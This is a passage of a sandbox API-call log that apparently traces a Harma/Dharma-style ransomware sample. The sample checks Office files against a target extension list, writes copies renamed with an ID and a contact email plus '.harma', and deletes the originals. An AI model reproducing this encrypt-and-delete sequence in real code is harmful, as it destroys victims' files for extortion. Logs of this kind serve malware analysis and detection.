Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.665] lstrlenW (lpString=".zip") returned 4 [0158.665] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0158.665] lstrlenW (lpString=".rar") returned 4 [0158.665] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0158.666] lstrlenW (lpString=".bz2") returned 4 [0158.666] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0158.666] lstrlenW (lpString=".7z") returned 3 [0158.666] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.666] lstrlenW (lpString=".dbf") returned 4 [0158.666] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.666] lstrlenW (lpString=".1cd") returned 4 [0158.666] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0158.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL") returned 60 [0158.666] lstrlenW (lpString=".jpg") returned 4 [0158.666] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0158.666] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0158.666] lstrlenW (lpString="ORGWIZ.VSL") returned 10 [0158.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.667] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=66992) returned 1 [0158.667] CloseHandle (hObject=0x368) returned 1 [0158.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 0x20 [0158.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.667] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.668] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.668] GetLastError () returned 0x0 [0158.668] ReadFile (in: hFile=0x368, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x105b0, lpOverlapped=0x0) returned 1 [0158.671] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x105c0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x105c0, lpOverlapped=0x0) returned 1 [0158.673] ReadFile (in: hFile=0x368, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.673] WriteFile (in: hFile=0x380, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0158.673] SetEndOfFile (hFile=0x380) returned 1 [0158.673] CloseHandle (hObject=0x380) returned 1 [0158.673] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.673] SetEndOfFile (hFile=0x368) returned 1 [0158.676] CloseHandle (hObject=0x368) returned 1 [0158.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl")) returned 1 [0158.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.677] lstrlenW (lpString=".doc") returned 4 [0158.677] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0158.677] lstrlenW (lpString=".docx") returned 5 [0158.677] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0158.677] lstrlenW (lpString=".pdf") returned 4 [0158.677] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0158.677] lstrlenW (lpString=".xls") returned 4 [0158.677] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0158.678] lstrlenW (lpString=".xlsx") returned 5 [0158.678] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0158.678] lstrlenW (lpString=".ppt") returned 4 [0158.678] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.678] lstrlenW (lpString=".zip") returned 4 [0158.678] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0158.678] lstrlenW (lpString=".rar") returned 4 [0158.678] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString=".bz2") returned 4 [0158.678] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString=".7z") returned 3 [0158.678] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.678] lstrlenW (lpString=".dbf") returned 4 [0158.678] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.678] lstrlenW (lpString=".1cd") returned 4 [0158.678] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.678] lstrlenW (lpString=".jpg") returned 4 [0158.678] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.678] lstrlenW (lpString=".doc") returned 4 [0158.678] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString=".docx") returned 5 [0158.678] lstrcmpiW (lpString1=".docx", lpString2="Z.VSL") returned -1 [0158.678] lstrlenW (lpString=".pdf") returned 4 [0158.678] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0158.678] lstrlenW (lpString=".xls") returned 4 [0158.679] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0158.679] lstrlenW (lpString=".xlsx") returned 5 [0158.679] lstrcmpiW (lpString1=".xlsx", lpString2="Z.VSL") returned -1 [0158.679] lstrlenW (lpString=".ppt") returned 4 [0158.679] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0158.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.679] lstrlenW (lpString=".zip") returned 4 [0158.679] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0158.679] lstrlenW (lpString=".rar") returned 4 [0158.679] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0158.679] lstrlenW (lpString=".bz2") returned 4 [0158.679] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0158.679] lstrlenW (lpString=".7z") returned 3 [0158.679] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0158.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.679] lstrlenW (lpString=".dbf") returned 4 [0158.679] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0158.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.679] lstrlenW (lpString=".1cd") returned 4 [0158.679] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0158.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL") returned 58 [0158.679] lstrlenW (lpString=".jpg") returned 4 [0158.679] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0158.679] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0158.679] lstrlenW (lpString="ospintl.dll") returned 11 [0158.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0158.680] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=18320) returned 1 [0158.680] CloseHandle (hObject=0x368) returned 1 [0158.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll")) returned 0x20 [0158.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.681] lstrlenW (lpString=".doc") returned 4 [0158.681] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".docx") returned 5 [0158.681] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0158.681] lstrlenW (lpString=".pdf") returned 4 [0158.681] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".xls") returned 4 [0158.681] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".xlsx") returned 5 [0158.681] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0158.681] lstrlenW (lpString=".ppt") returned 4 [0158.681] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.681] lstrlenW (lpString=".zip") returned 4 [0158.681] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".rar") returned 4 [0158.681] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.681] lstrlenW (lpString=".bz2") returned 4 [0158.681] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.681] lstrlenW (lpString=".7z") returned 3 [0158.681] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.681] lstrlenW (lpString=".dbf") returned 4 [0158.681] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.681] lstrlenW (lpString=".1cd") returned 4 [0158.681] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.681] lstrlenW (lpString=".jpg") returned 4 [0158.681] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.682] lstrlenW (lpString=".doc") returned 4 [0158.682] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".docx") returned 5 [0158.682] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0158.682] lstrlenW (lpString=".pdf") returned 4 [0158.682] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".xls") returned 4 [0158.682] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".xlsx") returned 5 [0158.682] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0158.682] lstrlenW (lpString=".ppt") returned 4 [0158.682] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.682] lstrlenW (lpString=".zip") returned 4 [0158.682] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".rar") returned 4 [0158.682] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.682] lstrlenW (lpString=".bz2") returned 4 [0158.682] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.682] lstrlenW (lpString=".7z") returned 3 [0158.682] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.683] lstrlenW (lpString=".dbf") returned 4 [0158.683] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.683] lstrlenW (lpString=".1cd") returned 4 [0158.683] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59 [0158.683] lstrlenW (lpString=".jpg") returned 4 [0158.683] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.683] lstrcmpiW (lpString1=".INF", lpString2=".harma") returned 1 [0158.683] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0158.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.131] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2416) returned 1 [0159.131] CloseHandle (hObject=0x370) returned 1 [0159.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf")) returned 0x20 [0159.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.132] lstrlenW (lpString=".doc") returned 4 [0159.132] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0159.132] lstrlenW (lpString=".docx") returned 5 [0159.132] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0159.132] lstrlenW (lpString=".pdf") returned 4 [0159.132] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0159.132] lstrlenW (lpString=".xls") returned 4 [0159.132] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0159.132] lstrlenW (lpString=".xlsx") returned 5 [0159.132] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0159.132] lstrlenW (lpString=".ppt") returned 4 [0159.132] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0159.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.132] lstrlenW (lpString=".zip") returned 4 [0159.133] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0159.133] lstrlenW (lpString=".rar") returned 4 [0159.133] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0159.133] lstrlenW (lpString=".bz2") returned 4 [0159.133] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0159.133] lstrlenW (lpString=".7z") returned 3 [0159.133] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0159.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.133] lstrlenW (lpString=".dbf") returned 4 [0159.133] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0159.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.133] lstrlenW (lpString=".1cd") returned 4 [0159.133] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0159.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.133] lstrlenW (lpString=".jpg") returned 4 [0159.133] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0159.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.133] lstrlenW (lpString=".doc") returned 4 [0159.133] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0159.133] lstrlenW (lpString=".docx") returned 5 [0159.133] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0159.133] lstrlenW (lpString=".pdf") returned 4 [0159.133] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0159.133] lstrlenW (lpString=".xls") returned 4 [0159.133] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0159.133] lstrlenW (lpString=".xlsx") returned 5 [0159.133] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0159.133] lstrlenW (lpString=".ppt") returned 4 [0159.133] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0159.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.133] lstrlenW (lpString=".zip") returned 4 [0159.134] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0159.134] lstrlenW (lpString=".rar") returned 4 [0159.134] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0159.134] lstrlenW (lpString=".bz2") returned 4 [0159.134] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0159.134] lstrlenW (lpString=".7z") returned 3 [0159.134] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0159.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.134] lstrlenW (lpString=".dbf") returned 4 [0159.134] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0159.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.134] lstrlenW (lpString=".1cd") returned 4 [0159.134] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0159.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0159.134] lstrlenW (lpString=".jpg") returned 4 [0159.134] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0159.134] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0159.134] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0159.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0159.136] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=5000295) returned 1 [0159.136] CloseHandle (hObject=0x370) returned 1 [0159.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs")) returned 0x20 [0159.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0159.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.137] lstrlenW (lpString=".doc") returned 4 [0159.137] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0159.137] lstrlenW (lpString=".docx") returned 5 [0159.137] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0159.137] lstrlenW (lpString=".pdf") returned 4 [0159.137] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0159.137] lstrlenW (lpString=".xls") returned 4 [0159.137] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0159.137] lstrlenW (lpString=".xlsx") returned 5 [0159.137] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0159.137] lstrlenW (lpString=".ppt") returned 4 [0159.137] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0159.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.137] lstrlenW (lpString=".zip") returned 4 [0159.137] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0159.137] lstrlenW (lpString=".rar") returned 4 [0159.137] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0159.137] lstrlenW (lpString=".bz2") returned 4 [0159.137] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0159.138] lstrlenW (lpString=".7z") returned 3 [0159.138] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0159.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.138] lstrlenW (lpString=".dbf") returned 4 [0159.138] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0159.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.138] lstrlenW (lpString=".1cd") returned 4 [0159.138] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0159.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.138] lstrlenW (lpString=".jpg") returned 4 [0159.138] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0159.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.138] lstrlenW (lpString=".doc") returned 4 [0159.138] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0159.138] lstrlenW (lpString=".docx") returned 5 [0159.138] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0159.138] lstrlenW (lpString=".pdf") returned 4 [0159.138] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0159.138] lstrlenW (lpString=".xls") returned 4 [0159.138] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0159.138] lstrlenW (lpString=".xlsx") returned 5 [0159.138] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0159.138] lstrlenW (lpString=".ppt") returned 4 [0159.138] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0159.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.138] lstrlenW (lpString=".zip") returned 4 [0159.138] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0159.138] lstrlenW (lpString=".rar") returned 4 [0159.138] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0159.138] lstrlenW (lpString=".bz2") returned 4 [0159.138] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0159.138] lstrlenW (lpString=".7z") returned 3 [0159.139] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0159.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.139] lstrlenW (lpString=".dbf") returned 4 [0159.139] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0159.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0159.139] lstrlenW (lpString=".1cd") returned 4 [0159.139] 